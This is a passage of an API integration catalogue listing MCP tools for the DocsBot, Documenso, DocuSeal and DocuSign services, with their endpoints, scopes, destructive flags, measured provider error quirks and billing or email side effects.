/api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/sources. Scopes: api. docsbot_post_teams_by_teamid_bots_by_botid_sources_tags (write) — Update Source Tags. Assign, add, remove, or replace tags on one or more existing sources. Tag keys must come from the bot's configured retrieverTags vocabulary. When tags change on an already-indexed source, indexed chunks are updated to match. Requires Standard plan or higher. Plan gates: Requires Standard plan or higher (POST https://docsbot.ai/api/teams/{teamId}/bots/{botId}/sources/tags) POST /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/sources/tags. Scopes: api. docsbot_post_teams_by_teamid_bots_by_botid_webhooks (write) — Create Webhook (Subscribe). (POST https://docsbot.ai/api/teams/{teamId}/bots/{botId}/webhooks) POST /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/webhooks. Scopes: api. docsbot_post_teams_by_teamid_bots_by_botid_webhooks_deliver_escalated (write) — Trigger a conversation.escalated webhook delivery test. DocsBot documents this only as a one-line summary. Request body not documented. (POST https://docsbot.ai/api/teams/{teamId}/bots/{botId}/webhooks/deliver-escalated) POST /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/webhooks/deliver-escalated. Scopes: api. docsbot_post_teams_by_teamid_bots_by_botid_webhooks_deliver_lead (write) — Trigger a lead webhook delivery test. DocsBot documents this only as a one-line summary. Request body not documented. (POST https://docsbot.ai/api/teams/{teamId}/bots/{botId}/webhooks/deliver-lead) POST /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/webhooks/deliver-lead. Scopes: api. docsbot_post_teams_by_teamid_bots_by_botid_webhooks_deliver_rated (write) — Trigger a conversation.rated webhook delivery test. DocsBot documents this only as a one-line summary. Request body not documented. (POST https://docsbot.ai/api/teams/{teamId}/bots/{botId}/webhooks/deliver-rated) POST /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/webhooks/deliver-rated. Scopes: api. docsbot_post_teams_by_teamid_bots_by_botid_webhooks_deliver_research (write) — Trigger a deep research webhook delivery test. DocsBot documents this only as a one-line summary. Request body not documented. (POST https://docsbot.ai/api/teams/{teamId}/bots/{botId}/webhooks/deliver-research) POST /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/webhooks/deliver-research. Scopes: api. docsbot_post_teams_by_teamid_invite (write) — Invite a Team Member. This endpoint sends a team invitation email. (POST https://docsbot.ai/api/teams/{teamId}/invite) POST /api/v1/docsbot/admin/teams/{teamId}/invite. Scopes: api. docsbot_put_teams_by_team_id_bots_by_bot_id_conversations_by_conv_id (write) — Update Metadata Of Conversation. Update metadata of Conversation. (PUT https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/conversations/{conv_id}) PUT /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/conversations/{conv_id}. Scopes: api. docsbot_put_teams_by_team_id_bots_by_bot_id_conversations_by_conv_id_escalate (write) — Log A Support Escalation For The Conversation. Add an escalation to a conversation. (PUT https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/conversations/{conv_id}/escalate) PUT /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/conversations/{conv_id}/escalate. Scopes: api. docsbot_put_teams_by_team_id_bots_by_bot_id_rate_by_answer_id (write) — Rate An Answer. (PUT https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/rate/{answer_id}) PUT /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/rate/{answer_id}. Scopes: api. docsbot_put_teams_by_team_id_bots_by_bot_id_support_by_answer_id (write) — Log A Support Request. (PUT https://api.docsbot.ai/teams/{team_id}/bots/{bot_id}/support/{answer_id}) PUT /api/v1/docsbot/chat/teams/{team_id}/bots/{bot_id}/support/{answer_id}. Scopes: api. docsbot_put_teams_by_teamid (write) — Update Team. This endpoint updates specific fields for a specific team by its ID. (PUT https://docsbot.ai/api/teams/{teamId}) PUT /api/v1/docsbot/admin/teams/{teamId}. Scopes: api. docsbot_put_teams_by_teamid_bots_by_botid (write) — Update Bot. This endpoint updates specific fields for a specific bot by its ID. Plan gates: customPrompt: Only editible on Pro plan and higher | retrieverTags: Requires Standard plan or above | Plan — Standard plan or higher (PUT https://docsbot.ai/api/teams/{teamId}/bots/{botId}) PUT /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}. Scopes: api. docsbot_put_teams_by_teamid_bots_by_botid_sources_by_sourceid (write) — Retry Source. If a source has status failed, you can trigger an index retry. (PUT https://docsbot.ai/api/teams/{teamId}/bots/{botId}/sources/{sourceId}) PUT /api/v1/docsbot/admin/teams/{teamId}/bots/{botId}/sources/{sourceId}. Scopes: api. docsbot_put_teams_by_teamid_invite (write) — Respond to an Invite. This endpoint accepts, denies, or retries an invite. `inviteId` must name an invite that ALREADY EXISTS on this team: DocsBot looks the invite document up without checking it is there, so an unknown or absent id answers HTTP 500 'Value for argument "documentPath" is not a valid resource path' or 'Cannot read properties of undefined (reading email)' -- neither means the credential or the team is wrong (measured 2026-09-16). Invites are created by the Invite a Team Member tool, and a free team cannot hold a second member. KNOWN PROVIDER FAULT, measured 2026-09-13: with NO body at all the route answers 500 FUNCTION_INVOCATION_FAILED even with no credential (GET answers 405, so the route exists and crashes). (PUT https://docsbot.ai/api/teams/{teamId}/invite) PUT /api/v1/docsbot/admin/teams/{teamId}/invite. Scopes: api. docsbot_put_teams_by_teamid_members (write) — Update Team Member Role. This endpoint updates a member role for a team. (PUT https://docsbot.ai/api/teams/{teamId}/members) PUT /api/v1/docsbot/admin/teams/{teamId}/members. Scopes: api. ================================================================================ ## Documenso URL: https://www.agenticfabriq.com/integrations/documenso Section: Integrated Tools Documenso — 34 MCP tools Provider key: documenso. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. documenso_get_envelope (read) — Find envelopes based on search criteria via GET /api/v2/envelope GET /api/v1/documenso/envelope. Scopes: api. documenso_get_envelope_attachment (read) — Find all attachments for an envelope via GET /api/v2/envelope/attachment GET /api/v1/documenso/envelope/attachment. Scopes: api. documenso_get_envelope_by_envelopeid (read) — Returns an envelope given an ID via GET /api/v2/envelope/{envelopeId} GET /api/v1/documenso/envelope/{envelopeId}. Scopes: api. documenso_get_envelope_by_envelopeid_audit_log (read) — Find audit logs based on a search criteria via GET /api/v2/envelope/{envelopeId}/audit-log GET /api/v1/documenso/envelope/{envelopeId}/audit-log. Scopes: api. documenso_get_envelope_by_envelopeid_audit_log_download (read) — Download the audit log for a document as a PDF. via GET /api/v2/envelope/{envelopeId}/audit-log/download GET /api/v1/documenso/envelope/{envelopeId}/audit-log/download. Scopes: api. documenso_get_envelope_by_envelopeid_certificate_download (read) — Download the signing certificate for a completed document as a PDF. via GET /api/v2/envelope/{envelopeId}/certificate/download GET /api/v1/documenso/envelope/{envelopeId}/certificate/download. Scopes: api. documenso_get_envelope_field_by_fieldid (read) — Returns an envelope field given an ID via GET /api/v2/envelope/field/{fieldId} GET /api/v1/documenso/envelope/field/{fieldId}. Scopes: api. documenso_get_envelope_item_by_envelopeitemid_download (read) — Download an envelope item by its ID via GET /api/v2/envelope/item/{envelopeItemId}/download GET /api/v1/documenso/envelope/item/{envelopeItemId}/download. Scopes: api. documenso_get_envelope_recipient_by_recipientid (read) — Returns an envelope recipient given an ID via GET /api/v2/envelope/recipient/{recipientId} GET /api/v1/documenso/envelope/recipient/{recipientId}. Scopes: api. documenso_get_folder (read) — Find folders based on a search criteria via GET /api/v2/folder GET /api/v1/documenso/folder. Scopes: api. documenso_post_embedding_create_presign_token (write) — Creates a presign token for embedding operations with configurable expiration time via POST /api/v2/embedding/create-presign-token POST /api/v1/documenso/embedding/create-presign-token. Scopes: api. documenso_post_embedding_verify_presign_token (write) — Verifies a presign token for embedding operations and returns the associated API token via POST /api/v2/embedding/verify-presign-token POST /api/v1/documenso/embedding/verify-presign-token. Scopes: api. documenso_post_envelope_attachment_create (write) — Create a new attachment for an envelope via POST /api/v2/envelope/attachment/create POST /api/v1/documenso/envelope/attachment/create. Scopes: api. documenso_post_envelope_attachment_delete (write, destructive) — Delete an attachment from an envelope via POST /api/v2/envelope/attachment/delete POST /api/v1/documenso/envelope/attachment/delete. Scopes: api. documenso_post_envelope_attachment_update (write) — Update an existing attachment via POST /api/v2/envelope/attachment/update POST /api/v1/documenso/envelope/attachment/update. Scopes: api. documenso_post_envelope_cancel (write) — Cancel a pending envelope via POST /api/v2/envelope/cancel POST /api/v1/documenso/envelope/cancel. Scopes: api. documenso_post_envelope_delete (write, destructive) — Delete an envelope via POST /api/v2/envelope/delete POST /api/v1/documenso/envelope/delete. Scopes: api. documenso_post_envelope_distribute (write) — Send the envelope to recipients based on your distribution method via POST /api/v2/envelope/distribute POST /api/v1/documenso/envelope/distribute. Scopes: api. documenso_post_envelope_duplicate (write) — Duplicate an envelope with all its settings via POST /api/v2/envelope/duplicate POST /api/v1/documenso/envelope/duplicate. Scopes: api. documenso_post_envelope_field_create_many (write) — Create multiple fields for an envelope via POST /api/v2/envelope/field/create-many POST /api/v1/documenso/envelope/field/create-many. Scopes: api. documenso_post_envelope_field_delete (write, destructive) — Delete an envelope field via POST /api/v2/envelope/field/delete POST /api/v1/documenso/envelope/field/delete. Scopes: api. documenso_post_envelope_field_update_many (write) — Update multiple envelope fields for an envelope via POST /api/v2/envelope/field/update-many POST /api/v1/documenso/envelope/field/update-many. Scopes: api. documenso_post_envelope_get_many (write) — Retrieve multiple envelopes by their IDs via POST /api/v2/envelope/get-many POST /api/v1/documenso/envelope/get-many. Scopes: api. documenso_post_envelope_item_delete (write, destructive) — Delete an envelope item from an envelope via POST /api/v2/envelope/item/delete POST /api/v1/documenso/envelope/item/delete. Scopes: api. documenso_post_envelope_item_update_many (write) — Update multiple envelope items for an envelope via POST /api/v2/envelope/item/update-many POST /api/v1/documenso/envelope/item/update-many. Scopes: api. documenso_post_envelope_recipient_by_recipientid_reject (write) — Records a rejection on behalf of a recipient. Use this when a recipient has declined to sign outside of the platform. The rejection is flagged as external in the document audit log. By default the action is attributed to the API user; supply `actAsEmail` to attribute it to a specific team member. via POST /api/v2/envelope/recipient/{recipientId}/reject POST /api/v1/documenso/envelope/recipient/{recipientId}/reject. Scopes: api. documenso_post_envelope_recipient_create_many (write) — Create multiple recipients for an envelope via POST /api/v2/envelope/recipient/create-many POST /api/v1/documenso/envelope/recipient/create-many. Scopes: api. documenso_post_envelope_recipient_delete (write, destructive) — Delete an envelope recipient via POST /api/v2/envelope/recipient/delete POST /api/v1/documenso/envelope/recipient/delete. Scopes: api. documenso_post_envelope_recipient_update_many (write) — Update multiple recipients for an envelope via POST /api/v2/envelope/recipient/update-many POST /api/v1/documenso/envelope/recipient/update-many. Scopes: api. documenso_post_envelope_redistribute (write) — Redistribute the envelope to the provided recipients who have not actioned the envelope. Will use the distribution method set in the envelope. This also refreshes the signing-link expiration for the targeted unsigned recipients, renewing any expired links. via POST /api/v2/envelope/redistribute POST /api/v1/documenso/envelope/redistribute. Scopes: api. documenso_post_envelope_update (write) — Update envelope properties and settings via POST /api/v2/envelope/update POST /api/v1/documenso/envelope/update. Scopes: api. documenso_post_folder_create (write) — Creates a new folder in your team via POST /api/v2/folder/create POST /api/v1/documenso/folder/create. Scopes: api. documenso_post_folder_delete (write, destructive) — Deletes an existing folder via POST /api/v2/folder/delete POST /api/v1/documenso/folder/delete. Scopes: api. documenso_post_folder_update (write) — Updates an existing folder via POST /api/v2/folder/update POST /api/v1/documenso/folder/update. Scopes: api. ================================================================================ ## DocuSeal URL: https://www.agenticfabriq.com/integrations/docuseal Section: Integrated Tools DocuSeal — 23 MCP tools Provider key: docuseal. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. docuseal_delete_submissions_by_id (write, destructive) — The API endpoint allows you to archive a submission. This ARCHIVES rather than destroys: the submission disappears from the default listing (`archived=true` still lists it) and `PUT /submissions/{id}` with `archived: false` restores it. A 403 {"error":"Not authorized"} here means the id is not in this account (or the key's user role cannot see it) -- DocuSeal spells not-found that way for a valid key (measured 2026-09-19). DELETE /api/v1/docuseal/submissions/{id}. Scopes: api. docuseal_delete_templates_by_id (write, destructive) — The API endpoint allows you to archive a document template. This ARCHIVES rather than destroys: the template disappears from the default listing (`GET /templates?archived=true` still lists it) and `PUT /templates/{id}` with `archived: false` restores it. A 403 {"error":"Not authorized"} here means the id is not in this account (or the key's user role cannot see it) -- DocuSeal spells not-found that way for a valid key (measured 2026-09-19). DELETE /api/v1/docuseal/templates/{id}. Scopes: api. docuseal_get_submissions (read) — The API endpoint provides the ability to retrieve a list of available submissions. Paginate with `after`/`before` from the response's `pagination` block; `status` is one of pending, completed, declined, expired. GET /api/v1/docuseal/submissions. Scopes: api. docuseal_get_submissions_by_id (read) — The API endpoint provides the functionality to retrieve information about a submission. A 403 {"error":"Not authorized"} here means the id is not in this account (or the key's user role cannot see it) -- DocuSeal spells not-found that way for a valid key (measured 2026-09-19). GET /api/v1/docuseal/submissions/{id}. Scopes: api. docuseal_get_submissions_by_id_documents (read) — This endpoint returns a list of partially filled documents for a submission. If the submission has been completed, the final signed documents are returned. Returns document URLs, not bytes: before completion the partially filled PDFs, after completion the signed ones. A 403 {"error":"Not authorized"} here means the id is not in this account (or the key's user role cannot see it) -- DocuSeal spells not-found that way for a valid key (measured 2026-09-19). GET /api/v1/docuseal/submissions/{id}/documents. Scopes: api. docuseal_get_submitters (read) — The API endpoint provides the ability to retrieve a list of submitters. Paginate with `after`/`before` from the response's `pagination` block. GET /api/v1/docuseal/submitters. Scopes: api. docuseal_get_submitters_by_id (read) — The API endpoint provides functionality to retrieve information about a submitter, along with the submitter documents and field values. A 403 {"error":"Not authorized"} here means the id is not in this account (or the key's user role cannot see it) -- DocuSeal spells not-found that way for a valid key (measured 2026-09-19). GET /api/v1/docuseal/submitters/{id}. Scopes: api. docuseal_get_templates (read) — The API endpoint provides the ability to retrieve a list of available document templates. Paginate with `after`/`before` (the response's `pagination.next` / `pagination.prev` ids); `limit` defaults to 10, max 100. GET /api/v1/docuseal/templates. Scopes: api. docuseal_get_templates_by_id (read) — The API endpoint provides the functionality to retrieve information about a document template. A 403 {"error":"Not authorized"} here means the id is not in this account (or the key's user role cannot see it) -- DocuSeal spells not-found that way for a valid key (measured 2026-09-19). GET /api/v1/docuseal/templates/{id}. Scopes: api. docuseal_post_submissions (write) — This API endpoint allows you to create signature requests (submissions) for a document template and send them to the specified submitters (signers). Related Guides Send documents for signature via API (https://www.docuseal.com/guides/send-documents-for-signature-via-api) Pre-fill PDF document form fields with API (https://www.docuseal.com/guides/pre-fill-pdf-document-form-fields-with-api) Each submitter needs an `email` (DocuSeal answers 422 naming the submitter index otherwise) and a `role` matching one of the template's submitter roles; a template with one role accepts a single submitter without `role`. A template id that is not in this account answers 403. Creating a submission costs nothing; DocuSeal bills $0.20 per document once it is SIGNED (production accounts; Test Mode is free). `send_email` defaults to true and emails real people -- pass false while testing. `send_sms` sends a paid SMS ($0.20 each after 20/month) and needs a `phone` on the submitter. POST /api/v1/docuseal/submissions. Scopes: api. docuseal_post_submissions_docx (write) — The API endpoint provides functionality to create a one-off submission request from a DOCX file with dynamic content variables. Use `[[variable_name]]` text tags to define dynamic content variables in the document. See https://www.docuseal.com/examples/demo_template.docx (https://www.docuseal.com/examples/demo_template.docx) for the specific text variable syntax, including dynamic content tables and lists. You can also use the `{{signature}}` field syntax to define fillable fields, as in a PDF. Related Guides Use dynamic content variables in DOCX to create personalized documents (https://www.docuseal.com/guides/use-dynamic-content-variables-in-docx-to-create-personalized-documents) Each document's `file` is either the file's base64-encoded bytes or a publicly downloadable URL; a URL keeps the tool call small. Creating a submission costs nothing; DocuSeal bills $0.20 per document once it is SIGNED (production accounts; Test Mode is free). `send_email` defaults to true and emails real people -- pass false while testing. `send_sms` sends a paid SMS ($0.20 each after 20/month) and needs a `phone` on the submitter. POST /api/v1/docuseal/submissions/docx. Scopes: api. docuseal_post_submissions_emails (write) — This API endpoint allows you to create submissions for a document template and send them to the specified email addresses. This is a simplified version of the POST /submissions API to be used with Zapier or other automation tools. One submission per address in the comma-separated `emails`, each sent as the template's first role. Creating a submission costs nothing; DocuSeal bills $0.20 per document once it is SIGNED (production accounts; Test Mode is free). `send_email` defaults to true and emails real people -- pass false while testing. `send_sms` sends a paid SMS ($0.20 each after 20/month) and needs a `phone` on the submitter. POST /api/v1/docuseal/submissions/emails. Scopes: api. docuseal_post_submissions_html (write) — This API endpoint allows you to create a one-off submission request document using the provided HTML content, with special field tags rendered as a fillable and signable form. Related Guides Create PDF document fillable form with HTML (https://www.docuseal.com/guides/create-pdf-document-fillable-form-with-html-api) Creating a submission costs nothing; DocuSeal bills $0.20 per document once it is SIGNED (production accounts; Test Mode is free). `send_email` defaults to true and emails real people -- pass false while testing. `send_sms` sends a paid SMS ($0.20 each after 20/month) and needs a `phone` on the submitter. POST /api/v1/docuseal/submissions/html. Scopes: api. docuseal_post_submissions_pdf (write) — The API endpoint provides the functionality to create one-off submission request from a PDF. Use `{{Field Name;role=Signer1;type=date}}` text tags to define fillable fields in the document. See https://www.docuseal.com/examples/fieldtags.pdf (https://www.docuseal.com/examples/fieldtags.pdf) for more text tag formats. Or specify the exact pixel coordinates of the document fields using `fields` param. Related Guides Use embedded text field tags to create a fillable form (https://www.docuseal.com/guides/use-embedded-text-field-tags-in-the-pdf-to-create-a-fillable-form) Each document's `file` is either the file's base64-encoded bytes or a publicly downloadable URL; a URL keeps the tool call small. Creating a submission costs nothing; DocuSeal bills $0.20 per document once it is SIGNED (production accounts; Test Mode is free). `send_email` defaults to true and emails real people -- pass false while testing. `send_sms` sends a paid SMS ($0.20 each after 20/month) and needs a `phone` on the submitter. POST /api/v1/docuseal/submissions/pdf. Scopes: api. docuseal_post_templates_by_id_clone (write) — The API endpoint allows you to clone an existing template into a new template. A 403 {"error":"Not authorized"} here means the id is not in this account (or the key's user role cannot see it) -- DocuSeal spells not-found that way for a valid key (measured 2026-09-19). POST /api/v1/docuseal/templates/{id}/clone. Scopes: api. docuseal_post_templates_docx (write) — The API endpoint provides the functionality to create a fillable document template for an existing Microsoft Word document. Use `{{Field Name;role=Signer1;type=date}}` text tags to define fillable fields in the document. See https://www.docuseal.com/examples/fieldtags.docx (https://www.docuseal.com/examples/fieldtags.docx) for more text tag formats. Or specify the exact pixel coordinates of the document fields using `fields` param. Related Guides Use embedded text field tags to create a fillable form (https://www.docuseal.com/guides/use-embedded-text-field-tags-in-the-pdf-to-create-a-fillable-form) Each document's `file` is either the file's base64-encoded bytes or a publicly downloadable URL; a URL keeps the tool call small. Fields come from `{{Name;role=Signer;type=text}}` text tags inside the DOCX or from each document's `fields` array. Creating a template costs nothing. POST /api/v1/docuseal/templates/docx. Scopes: api. docuseal_post_templates_html (write) — The API endpoint provides the functionality to seamlessly generate a PDF document template by utilizing the provided HTML content while incorporating pre-defined fields. Related Guides Create PDF document fillable form with HTML (https://www.docuseal.com/guides/create-pdf-document-fillable-form-with-html-api) Fields are declared with tags such as `` (also signature-field, date-field, initials-field, checkbox-field). Creating a template costs nothing. POST /api/v1/docuseal/templates/html. Scopes: api. docuseal_post_templates_merge (write) — The API endpoint allows you to merge multiple templates with documents and fields into a new combined template. Every id in `template_ids` must be in this account (a foreign or absent id answers 403). The merged template is a NEW template; the sources are untouched. POST /api/v1/docuseal/templates/merge. Scopes: api. docuseal_post_templates_pdf (write) — The API endpoint provides the functionality to create a fillable document template for a PDF file. Use `{{Field Name;role=Signer1;type=date}}` text tags to define fillable fields in the document. See https://www.docuseal.com/examples/fieldtags.pdf (https://www.docuseal.com/examples/fieldtags.pdf) for more text tag formats. Or specify the exact pixel coordinates of the document fields using `fields` param. Related Guides Use embedded text field tags to create a fillable form (https://www.docuseal.com/guides/use-embedded-text-field-tags-in-the-pdf-to-create-a-fillable-form) Each document's `file` is either the file's base64-encoded bytes or a publicly downloadable URL; a URL keeps the tool call small. Fields come from `{{Name;role=Signer;type=text}}` text tags inside the PDF or from each document's `fields` array. Creating a template costs nothing. POST /api/v1/docuseal/templates/pdf. Scopes: api. docuseal_put_submissions_by_id (write) — The API endpoint allows you to update a submission: change its name, expiration date, and archive or unarchive it. Also the way to UNARCHIVE a submission (`archived: false`). A 403 {"error":"Not authorized"} here means the id is not in this account (or the key's user role cannot see it) -- DocuSeal spells not-found that way for a valid key (measured 2026-09-19). PUT /api/v1/docuseal/submissions/{id}. Scopes: api. docuseal_put_submitters_by_id (write) — The API endpoint allows you to update submitter details, pre-fill or update field values and re-send emails. Related Guides Automatically sign documents via API (https://www.docuseal.com/guides/pre-fill-pdf-document-form-fields-with-api#automatically-sign-documents-via-api) ⚠ `completed: true` marks the submitter as signed WITHOUT the person acting -- it produces a signed document, which DocuSeal bills at $0.20 on a production account -- so send it only when auto-signing is what you mean. `send_email: true` / `send_sms: true` RE-SEND the request (SMS is paid). Pre-fill with `values` keyed by field name. A 403 {"error":"Not authorized"} here means the id is not in this account (or the key's user role cannot see it) -- DocuSeal spells not-found that way for a valid key (measured 2026-09-19). PUT /api/v1/docuseal/submitters/{id}. Scopes: api. docuseal_put_templates_by_id (write) — The API endpoint provides the functionality to move a document template to a different folder and update the name of the template. Also the way to UNARCHIVE: pass `archived: false` to restore a template the archive tool removed. A 403 {"error":"Not authorized"} here means the id is not in this account (or the key's user role cannot see it) -- DocuSeal spells not-found that way for a valid key (measured 2026-09-19). PUT /api/v1/docuseal/templates/{id}. Scopes: api. docuseal_put_templates_by_id_documents (write) — The API endpoint allows you to add, remove or replace documents in the template with provided PDF/DOCX file or HTML content. Each document's `file` is either the file's base64-encoded bytes or a publicly downloadable URL; a URL keeps the tool call small. Each document entry adds a file, or names an existing attachment to `replace` or `remove`. A 403 {"error":"Not authorized"} here means the id is not in this account (or the key's user role cannot see it) -- DocuSeal spells not-found that way for a valid key (measured 2026-09-19). PUT /api/v1/docuseal/templates/{id}/documents. Scopes: api. ================================================================================ ## DocuSign URL: https://www.agenticfabriq.com/integrations/docusign Section: Integrated Tools DocuSign — 585 MCP tools Provider key: docusign. Scopes: account_read, account_write, asset_group_account_clone_read, asset_group_account_clone_write, asset_group_account_read, click.manage, connect_org_config_read_api, connect_org_config_write_api, connect_org_hmac_read_api, connect_org_hmac_write_api, connect_org_oauth_read_api, connect_org_oauth_write_api, domain_read, dtr.company.read, group_read, identity_provider_read, organization_read, organization_sub_account_read, organization_sub_account_write, permission_read, signature, user_data_redact, user_read, user_write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. docusign_admin_account_accounts_get_groups_v2 (read) — Returns the list of groups in an account. GET /api/v1/tools/docusign/admin-account-accounts-get-groups-v2. Scopes: group_read. docusign_admin_account_accounts_get_permission_profiles_v2 (read) — Returns the list of permission profiles in an account. GET /api/v1/tools/docusign/admin-account-accounts-get-permission-profiles-v2. Scopes: permission_read. docusign_admin_data_redaction_redact_individual_membership_data (write, destructive) — DESTRUCTIVE - Deletes membership data for a user on an account. POST /api/v1/tools/docusign/admin-data-redaction-redact-individual-membership-data. Scopes: user_data_redact. docusign_admin_data_redaction_redact_individual_user_data (write, destructive) — DESTRUCTIVE - Deletes data for one or more of a user's account memberships. POST /api/v1/tools/docusign/admin-data-redaction-redact-individual-user-data. Scopes: user_data_redact. docusign_admin_docu_sign_groupsv21_add_ds_group_users_v2_1 (write) — Adds a list of users to a DSGroup. POST /Management/v2.1/organizations/{organizationId}/accounts/{accountId}/dsgroups/{dsGroupId}/users on DocuSign. Requires organization_id, account_id, ds_group_id, user_ids. POST /api/v1/tools/docusign/admin-docu-sign-groupsv21-add-ds-group-users-v2-1. Scopes: user_write. docusign_admin_docu_sign_groupsv21_add_ds_group_v2_1 (write) — Creates a new DSGroup. POST /Management/v2.1/organizations/{organizationId}/accounts/{accountId}/dsgroups on DocuSign. Requires organization_id, account_id, group_name. POST /api/v1/tools/docusign/admin-docu-sign-groupsv21-add-ds-group-v2-1. Scopes: user_write. docusign_admin_docu_sign_groupsv21_delete_ds_group_v2_1 (write, destructive) — DESTRUCTIVE — Deletes a DSGroup. DELETE /Management/v2.1/organizations/{organizationId}/accounts/{accountId}/dsgroups/{dsGroupId} on DocuSign. Requires organization_id, account_id, ds_group_id. POST /api/v1/tools/docusign/admin-docu-sign-groupsv21-delete-ds-group-v2-1. Scopes: user_write. docusign_admin_docu_sign_groupsv21_get_ds_group_users_v2_1 (read) — Gets a list of users in a DSGroup. GET /Management/v2.1/organizations/{organizationId}/accounts/{accountId}/dsgroups/{dsGroupId}/users on DocuSign. Requires organization_id, account_id, ds_group_id. GET /api/v1/tools/docusign/admin-docu-sign-groupsv21-get-ds-group-users-v2-1. Scopes: user_read. docusign_admin_docu_sign_groupsv21_get_ds_group_v2_1 (read) — Returns details about a single DSGroup. GET /Management/v2.1/organizations/{organizationId}/accounts/{accountId}/dsgroups/{dsGroupId} on DocuSign. Requires organization_id, account_id, ds_group_id. GET /api/v1/tools/docusign/admin-docu-sign-groupsv21-get-ds-group-v2-1. Scopes: user_read. docusign_admin_docu_sign_groupsv21_get_ds_groups_v2_1 (read) — Returns a list of DSGroups. GET /Management/v2.1/organizations/{organizationId}/accounts/{accountId}/dsgroups on DocuSign. Requires organization_id, account_id. GET /api/v1/tools/docusign/admin-docu-sign-groupsv21-get-ds-groups-v2-1. Scopes: user_read. docusign_admin_docu_sign_groupsv21_remove_ds_group_users_v2_1 (write, destructive) — DESTRUCTIVE - Removes a list of users from a DSGroup. POST /api/v1/tools/docusign/admin-docu-sign-groupsv21-remove-ds-group-users-v2-1. Scopes: user_write. docusign_admin_organization_connect_delete_organization_connect_config (write, destructive) — DESTRUCTIVE - DELETE /Management/v2/organizations/{organizationId}/connect/{connectId} POST /api/v1/tools/docusign/admin-organization-connect-delete-organization-connect-config. Scopes: connect_org_config_write_api. docusign_admin_organization_connect_get_organization_connect_config (read) — GET /Management/v2/organizations/{organizationId}/connect/{connectId} GET /api/v1/tools/docusign/admin-organization-connect-get-organization-connect-config. Scopes: connect_org_config_read_api. docusign_admin_organization_connect_get_organization_connect_configs (read) — GET /Management/v2/organizations/{organizationId}/connect GET /api/v1/tools/docusign/admin-organization-connect-get-organization-connect-configs. Scopes: connect_org_config_read_api. docusign_admin_organization_connect_hmac_delete_connect_hmac_secret (write, destructive) — DESTRUCTIVE - DELETE /Management/v2/organizations/{organizationId}/connect/secret/{keyId} POST /api/v1/tools/docusign/admin-organization-connect-hmac-delete-connect-hmac-secret. Scopes: connect_org_hmac_write_api. docusign_admin_organization_connect_hmac_get_connect_hmac_secrets (read) — GET /Management/v2/organizations/{organizationId}/connect/secret GET /api/v1/tools/docusign/admin-organization-connect-hmac-get-connect-hmac-secrets. Scopes: connect_org_hmac_read_api. docusign_admin_organization_connect_o_auth_configuration_delete_organization_connect_o_auth_configuration (write, destructive) — DESTRUCTIVE - DELETE /Management/v2/organizations/{organizationId}/connect/oauth POST /api/v1/tools/docusign/admin-organization-connect-o-auth-configuration-delete-organization-connect-o-auth-configuration. Scopes: connect_org_oauth_write_api. docusign_admin_organization_connect_o_auth_configuration_get_organization_connect_o_auth_configuration (read) — GET /Management/v2/organizations/{organizationId}/connect/oauth GET /api/v1/tools/docusign/admin-organization-connect-o-auth-configuration-get-organization-connect-o-auth-configuration. Scopes: connect_org_oauth_read_api. docusign_admin_organization_export_organization_export_account_compare (write) — Creates a new account settings export request. POST /api/v1/tools/docusign/admin-organization-export-organization-export-account-compare. Scopes: account_read. docusign_admin_organization_export_organization_export_delete_by_account_settings_export_id (write, destructive) — DESTRUCTIVE - Deletes a single account settings export request. POST /api/v1/tools/docusign/admin-organization-export-organization-export-delete-by-account-settings-export-id. Scopes: account_read. docusign_admin_organization_export_organization_export_delete_by_export_id (write, destructive) — DESTRUCTIVE - Deletes a single user list export request. POST /api/v1/tools/docusign/admin-organization-export-organization-export-delete-by-export-id. Scopes: user_read. docusign_admin_organization_export_organization_export_get (read) — Returns a list of pending and completed export requests. GET /api/v1/tools/docusign/admin-organization-export-organization-export-get. Scopes: user_read. docusign_admin_organization_export_organization_export_get_account_compare (read) — Returns a list of pending and completed account settings export request. GET /api/v1/tools/docusign/admin-organization-export-organization-export-get-account-compare. Scopes: account_read. docusign_admin_organization_export_organization_export_get_account_settings_export_by_export_id (read) — Returns the results for a single account settings export request. GET /api/v1/tools/docusign/admin-organization-export-organization-export-get-account-settings-export-by-export-id. Scopes: account_read. docusign_admin_organization_export_organization_export_get_by_export_id (read) — Returns the results for single user list export request. GET /api/v1/tools/docusign/admin-organization-export-organization-export-get-by-export-id. Scopes: 